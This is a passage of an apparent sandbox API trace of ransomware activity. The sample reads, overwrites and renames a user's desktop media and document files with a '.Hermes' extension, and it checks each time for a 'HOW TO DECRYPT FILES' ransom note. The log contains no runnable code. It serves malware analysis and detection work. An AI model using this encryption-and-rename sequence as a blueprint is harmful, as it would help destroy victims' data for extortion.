lpFilePart=0x0) returned 0x23 [0090.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ljwneyj.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.649] GetFileType (hFile=0x304) returned 0x1 [0090.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.651] GetFileType (hFile=0x304) returned 0x1 [0090.651] WriteFile (in: hFile=0x304, lpBuffer=0x41d71d8*, nNumberOfBytesToWrite=0x14d70, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x41d71d8*, lpNumberOfBytesWritten=0x19e3d0*=0x14d70, lpOverlapped=0x0) returned 1 [0090.653] CloseHandle (hObject=0x304) returned 1 [0090.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi", lpFilePart=0x0) returned 0x23 [0090.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi.Hermes", lpFilePart=0x0) returned 0x2a [0090.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ljwneyj.avi"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743afdd0, ftCreationTime.dwHighDateTime=0x1d4d329, ftLastAccessTime.dwLowDateTime=0x1d746ec0, ftLastAccessTime.dwHighDateTime=0x1d4d147, ftLastWriteTime.dwLowDateTime=0xaf8144ef, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x14d70)) returned 1 [0090.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.658] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ljwneyj.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ljwNeYj.avi.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\ljwneyj.avi.hermes")) returned 1 [0090.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", lpFilePart=0x0) returned 0x24 [0090.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mjmzsgir.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.658] GetFileType (hFile=0x304) returned 0x1 [0090.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.659] GetFileType (hFile=0x304) returned 0x1 [0090.659] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xfe8 [0090.659] ReadFile (in: hFile=0x304, lpBuffer=0x3031504, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3031504*, lpNumberOfBytesRead=0x19e3dc*=0xfe8, lpOverlapped=0x0) returned 1 [0090.659] CloseHandle (hObject=0x304) returned 1 [0090.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", lpFilePart=0x0) returned 0x24 [0090.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mjmzsgir.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.685] GetFileType (hFile=0x304) returned 0x1 [0090.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.685] GetFileType (hFile=0x304) returned 0x1 [0090.685] WriteFile (in: hFile=0x304, lpBuffer=0x3084580*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x19e3a4, lpOverlapped=0x0 | out: lpBuffer=0x3084580*, lpNumberOfBytesWritten=0x19e3a4*=0xff0, lpOverlapped=0x0) returned 1 [0090.686] CloseHandle (hObject=0x304) returned 1 [0090.688] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi", lpFilePart=0x0) returned 0x24 [0090.688] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi.Hermes", lpFilePart=0x0) returned 0x2b [0090.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mjmzsgir.avi"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4230e700, ftCreationTime.dwHighDateTime=0x1d4cc53, ftLastAccessTime.dwLowDateTime=0xd96ab1c0, ftLastAccessTime.dwHighDateTime=0x1d4cd46, ftLastWriteTime.dwLowDateTime=0xaf86080b, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xff0)) returned 1 [0090.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.688] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mjmzsgir.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\mJmzsgIR.avi.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\mjmzsgir.avi.hermes")) returned 1 [0090.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", lpFilePart=0x0) returned 0x23 [0090.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\nwrdtz.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.689] GetFileType (hFile=0x304) returned 0x1 [0090.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.690] GetFileType (hFile=0x304) returned 0x1 [0090.690] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x2784 [0090.690] ReadFile (in: hFile=0x304, lpBuffer=0x30857e4, nNumberOfBytesToRead=0x2784, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x30857e4*, lpNumberOfBytesRead=0x19e3dc*=0x2784, lpOverlapped=0x0) returned 1 [0090.690] CloseHandle (hObject=0x304) returned 1 [0090.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", lpFilePart=0x0) returned 0x23 [0090.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\nwrdtz.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.705] GetFileType (hFile=0x304) returned 0x1 [0090.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.705] GetFileType (hFile=0x304) returned 0x1 [0090.705] WriteFile (in: hFile=0x304, lpBuffer=0x30deb9c*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x30deb9c*, lpNumberOfBytesWritten=0x19e3d0*=0x2790, lpOverlapped=0x0) returned 1 [0090.706] CloseHandle (hObject=0x304) returned 1 [0090.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx", lpFilePart=0x0) returned 0x23 [0090.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx.Hermes", lpFilePart=0x0) returned 0x2a [0090.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\nwrdtz.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd723dc0, ftCreationTime.dwHighDateTime=0x1d4d58b, ftLastAccessTime.dwLowDateTime=0x5e9bc880, ftLastAccessTime.dwHighDateTime=0x1d4ce45, ftLastWriteTime.dwLowDateTime=0xaf886a9d, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x2790)) returned 1 [0090.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\nwrdtz.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\NwrDTZ.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\nwrdtz.docx.hermes")) returned 1 [0090.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", lpFilePart=0x0) returned 0x2d [0090.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oza1ovhsipztgymnr.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.711] GetFileType (hFile=0x304) returned 0x1 [0090.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.711] GetFileType (hFile=0x304) returned 0x1 [0090.711] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x18fe9 [0090.712] ReadFile (in: hFile=0x304, lpBuffer=0x41ebf68, nNumberOfBytesToRead=0x18fe9, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x41ebf68*, lpNumberOfBytesRead=0x19e3dc*=0x18fe9, lpOverlapped=0x0) returned 1 [0090.713] CloseHandle (hObject=0x304) returned 1 [0090.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", lpFilePart=0x0) returned 0x2d [0090.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oza1ovhsipztgymnr.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.750] GetFileType (hFile=0x304) returned 0x1 [0090.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.750] GetFileType (hFile=0x304) returned 0x1 [0090.750] WriteFile (in: hFile=0x304, lpBuffer=0x3f654e8*, nNumberOfBytesToWrite=0x18ff0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3f654e8*, lpNumberOfBytesWritten=0x19e3d0*=0x18ff0, lpOverlapped=0x0) returned 1 [0090.752] CloseHandle (hObject=0x304) returned 1 [0090.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi", lpFilePart=0x0) returned 0x2d [0090.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi.Hermes", lpFilePart=0x0) returned 0x34 [0090.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oza1ovhsipztgymnr.avi"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5558560, ftCreationTime.dwHighDateTime=0x1d4c646, ftLastAccessTime.dwLowDateTime=0xdbda0770, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xaf8f91e9, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x18ff0)) returned 1 [0090.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.756] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oza1ovhsipztgymnr.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\OZa1OvHSiPZtGYMnr.avi.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\oza1ovhsipztgymnr.avi.hermes")) returned 1 [0090.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", lpFilePart=0x0) returned 0x30 [0090.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rsubgrwmov90jjgckmca.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.758] GetFileType (hFile=0x304) returned 0x1 [0090.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.759] GetFileType (hFile=0x304) returned 0x1 [0090.759] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xe45e [0090.759] ReadFile (in: hFile=0x304, lpBuffer=0x2f9499c, nNumberOfBytesToRead=0xe45e, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x2f9499c*, lpNumberOfBytesRead=0x19e3dc*=0xe45e, lpOverlapped=0x0) returned 1 [0090.759] CloseHandle (hObject=0x304) returned 1 [0090.856] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.856] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.856] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", lpFilePart=0x0) returned 0x30 [0090.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rsubgrwmov90jjgckmca.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.857] GetFileType (hFile=0x304) returned 0x1 [0090.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.857] GetFileType (hFile=0x304) returned 0x1 [0090.857] WriteFile (in: hFile=0x304, lpBuffer=0x300c618*, nNumberOfBytesToWrite=0xe460, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x300c618*, lpNumberOfBytesWritten=0x19e3d0*=0xe460, lpOverlapped=0x0) returned 1 [0090.859] CloseHandle (hObject=0x304) returned 1 [0090.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg", lpFilePart=0x0) returned 0x30 [0090.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg.Hermes", lpFilePart=0x0) returned 0x37 [0090.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.863] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rsubgrwmov90jjgckmca.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd852da30, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x4a91a840, ftLastAccessTime.dwHighDateTime=0x1d4cd29, ftLastWriteTime.dwLowDateTime=0xafa04320, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xe460)) returned 1 [0090.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.864] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rsubgrwmov90jjgckmca.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\RSUbGrWMOv90jjgcKmCA.jpg.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\rsubgrwmov90jjgckmca.jpg.hermes")) returned 1 [0090.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", lpFilePart=0x0) returned 0x24 [0090.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uy _qjuk.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.864] GetFileType (hFile=0x304) returned 0x1 [0090.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.865] GetFileType (hFile=0x304) returned 0x1 [0090.865] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xd4ea [0090.865] ReadFile (in: hFile=0x304, lpBuffer=0x301b044, nNumberOfBytesToRead=0xd4ea, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x301b044*, lpNumberOfBytesRead=0x19e3dc*=0xd4ea, lpOverlapped=0x0) returned 1 [0090.865] CloseHandle (hObject=0x304) returned 1 [0090.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0090.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0090.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0090.959] SetThreadErrorMode 